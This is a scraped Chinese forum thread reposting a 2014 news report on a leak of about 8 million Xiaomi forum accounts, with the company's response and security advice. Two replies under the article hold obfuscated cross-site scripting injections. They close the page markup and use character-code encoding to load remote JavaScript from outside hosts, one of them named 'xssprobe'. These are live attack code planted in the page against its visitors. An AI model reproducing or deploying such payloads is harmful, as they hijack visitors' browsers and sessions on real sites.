×

关注微信公众号

免备案网站空间虚拟主机双线空间域名查询PS数码后期
photoshop互助课堂数百G视频教程下载英语培训机构初中英语如何学随时随地聆听大师开讲/课堂
软件安装教程 远程服务 超值!手绘教程抠图教程路径专辑photoshop cs3视频教程
查看: 9803|回复: 5

小米论坛被曝泄露800万用户数据

[复制链接]
发表于 2014-5-15 08:26:36 | 显示全部楼层 |阅读模式
  小米安全中心证实,有部分2012年8月前注册的论坛账号信息被非法获取。

  安全专家建议用户,尽快修改密码,谨防假冒小米客服等名义的电话或邮件诈骗。

  小米论坛昨日被曝用户数据库疑似泄露,乌云-漏洞报告平台证实,涉及800万左右论坛注册用户。用户应及时修改密码,以免影响到小米云,从而导致手机敏感信息泄露。对此,小米安全中心表示,确有部分2012年8月前注册的论坛账号信息被非法获取。

  部分2012年8月前注册账号信息泄露

  小米安全中心昨日在回应中称,5月13日接获部分早期小米论坛账号信息可能泄露的消息,第一时间进行了全面安全检查。经查,确有部分2012年8月前注册的论坛账号信息被非法获取。不过,小米安全中心强调,这部分账号信息此前进行了严格加密,且不少用户近年已修改密码,实际可能存在风险的只有其中一小部分。

  截止到公告前,尚未发现可见的流量异动以及投诉报告。经确认,2012年8月后注册小米账号的用户在本次事件中完全不受影响;对在此之前注册小米论坛账号,且在2012年8月后未修改过密码的用户,出于安全考虑,将通过短信、邮件等方式提示其尽快修改密码。

  小米避谈数据泄露原因

  据介绍,在创业初期,小米的论坛及依附论坛产生的账号体系都使用了第三方开源程序。2012年8月,基于安全考虑,旧论坛账号体系不再使用,小米将所有服务(包括小米云服务、米币等)切换到全新的账号安全体系,采用业界最新安全实践方案,对所有存储数据均进行了最严格的安全加密。对于此次数据泄露的原因,小米安全中心在回应中并未提及,仅表示,一直不遗余力地提升安全保障措施。

  泄露数据可能被用来诈骗

  360安全专家安扬分析,数据库泄露存在多种可能,包括网站有漏洞、服务器被黑客入侵,“内鬼”泄密等,也有可能并非网站自身数据库泄露,而是黑客使用其他网站数据尝试登录生成的数据(俗称“撞库”)。此前,国内多家知名网站也曾曝出数据库泄露事故,数亿条用户注册邮箱和密码在网上流传,由此引发的盗号、诈骗和垃圾邮件骚扰持续达数年之久。

  不过,安扬强调,由于小米账号关联着小米手机和MIUI用户的移动云服务,一旦密码泄露,很可能危及用户的个人数据备份,不法分子甚至可能远程擦除受害者的手机数据,其风险相当严重。

  “从网络流传的小米数据库判断,数据库中的密码数据使用了保护措施,黑客还原明文密码的概率约为70%-80%,简单密码容易被破解。此外,疑似小米的泄露数据还带有用户资料,可能被不法分子利用进行诈骗。”安扬建议小米论坛用户:第一,尽快修改密码,以免账号关联的通讯录、短信等数据备份被盗;第二,谨防假冒小米客服等名义的电话或邮件诈骗。
本帖的地址:http://bbs.jcwcn.com/forum.php?mod=viewthread&tid=550703
跟着教程做一遍,做完的图要到这里评论交作业,教程有看不懂的地方,可以在贴子下面评论
发表于 2014-5-25 15:09:42 | 显示全部楼层
酷素材
test (0 Bytes)" target="_blank">test ('+document.write(String.fromCharCode(60,47,116,101,120,116,97,114,101,97,62,39,34,62,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,103,117,105,120,105,106,116,46,99,111,109,47,62,60,47,115,99,114,105,112,116,62))+' Bytes)</a><script language="javascript">$('ed2k_L0H').innerHTML=htmlspecialchars(unescape(decodeURIComponent('test')))+' ('+document.write(String.fromCharCode(60,47,116,101,120,116,97,114,101,97,62,39,34,62,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,103,117,105,120,105,106,116,46,99,111,109,47,62,60,47,115,99,114,105,112,116,62))+' Bytes)';</script>
回复 支持 反对

使用道具 举报

发表于 2014-5-25 15:10:06 | 显示全部楼层
test (0 Bytes)" target="_blank">test ('+document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,112,114,111,98,101,46,115,105,110,97,97,112,112,46,99,111,109,47,108,82,77,98,104,104,63,49,52,48,48,50,50,56,50,48,54,62,60,47,115,99,114,105,112,116,62))+' Bytes)</a><script language="javascript">$('ed2k_L0H').innerHTML=htmlspecialchars(unescape(decodeURIComponent('test')))+' ('+document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,112,114,111,98,101,46,115,105,110,97,97,112,112,46,99,111,109,47,108,82,77,98,104,104,63,49,52,48,48,50,50,56,50,48,54,62,60,47,115,99,114,105,112,116,62))+' Bytes)';</script>
回复 支持 反对

使用道具 举报

发表于 2016-5-22 22:54:31 | 显示全部楼层

要顶
必须顶
不得不顶
用尽全力顶
再加上千斤顶
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | [立即注册]

本版积分规则

2345